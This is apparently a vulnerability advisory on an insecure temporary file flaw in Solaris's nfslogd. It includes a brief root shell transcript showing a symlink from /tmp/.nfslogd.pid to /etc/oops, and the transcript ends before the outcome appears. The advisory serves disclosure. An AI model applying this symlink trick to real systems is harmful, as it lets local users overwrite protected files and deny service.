    Oracle Solaris is prone to an insecure temporary file creation vulnerability.
    
    A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.
    
    This vulnerability affects the following supported versions:
    8, 9, 10, OpenSolaris 
    
    nnDon't Panic! # ls -dl /etc/oops
    /etc/oops: No such file or directory
    Don't Panic! # ls -dl /tmp/.nfslogd.pid
    lrwxrwxrwx 1 nobody nobody 9 Dec 29 21:24 /tmp/.nfslogd.pid
    -> /etc/oops
    Don't Panic! # id
    uid=0(root) gid=0(root)
    Don't Panic! # /usr/lib/nfs/nfslogd
    Don't Panic! # ls -dl /etc/oops
